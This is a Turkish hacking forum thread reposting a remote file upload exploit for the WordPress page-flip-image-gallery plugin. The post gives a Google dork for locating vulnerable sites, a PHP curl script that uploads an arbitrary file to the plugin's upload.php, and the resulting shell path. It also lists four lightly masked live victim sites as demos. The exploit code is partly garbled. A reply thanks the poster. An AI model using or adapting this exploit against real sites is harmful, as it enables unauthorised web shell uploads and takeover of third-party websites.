Konuyu Oyla:
  • Toplam: 0 Oy - Ortalama: 0
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: WP page-flip-image-gallery plugins Remote File Upload Vulnerability
DaRKNeSS
*
avatar
Binbaşı
Durum: Çevrimdışı
Seviye Puanı: 53
Yaşam Puanı: 1,314 / 1,314
Deneyim: 59 / 100
Rep Sayısı: 127
Mesaj Sayısı: 5581
Üyelik Tarihi: 11.08.2013
     
Yorum: #1
WP page-flip-image-gallery plugins Remote File Upload Vulnerability
20.01.2014 09:19
Exploit Title: WordPress page-flip-image-gallery plugins Remote File Upload Vulnerability
Author: Ashiyane Digital Security Team
Date: 12/06/2013
Vendor Homepage: http://pageflipgallery.com
Software Link : http://downloads.wordpress.org/plugin/page-flip-image-gallery.zip
Google dork: inurl:/wp-content/plugins/page-flip-image-gallery/
Tested on:
Windows/Linux

1)Exploit :
PHP Kod:
< ? p h p uploadfile=”file.php”; $ ch curl_init(” http://127.0.0.1/wp-content/plugins/page-flip-image-gallery/upload.php”); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array(‘orange_themes’=>”@$uploadfile”)); curl_setopt($ch,
CURLOPT_RETURNTRANSFER1);
$postResult curl_exec($ch);
curl_close($ch); print “$postResult”;
?>
2) Exploit demo :

PHP Kod:
http://arcticpackXging.com/wp-content/plugins/page-flip-image-gallery/upload.php

http://www.panvXlkargroup.org/wp-content/plugins/page-flip-image-gallery/upload.php

http://www.jamXma.it/wp-content/plugins/page-flip-image-gallery/upload.php

http://www.icipiXi.ie/suiomh/wp-content/plugins/page-flip-image-gallery/upload.php 

uploaded file:

Kod:
http://[Target]/wp-content/uploads/file.php


Alinti
#H4CK4L
*
avatar
#R00T
Durum: Çevrimdışı
Seviye Puanı: 43
Yaşam Puanı: 1,054 / 1,054
Deneyim: 17 / 100
Rep Sayısı: 1059
Mesaj Sayısı: 3026
Üyelik Tarihi: 04.05.2013
      
Yorum: #2
Cvp: WP page-flip-image-gallery plugins Remote File Upload Vulnerability
20.01.2014 11:58
eline sağlık Smile

Çocukken her akşam yatmadan önce Tanrı'ya bana bir bisiklet vermesi için dua ederdim. Bir gün Tanrı'nın çalışma tarzının bu olmadığını anladım. Ertesi gün gittim kendime yeni bir bisiklet çaldım ve her akşam yatmadan önce Tanrı'ya günahlarımı affetmesi için dua ettim.
Alinti



1 Ziyaretçi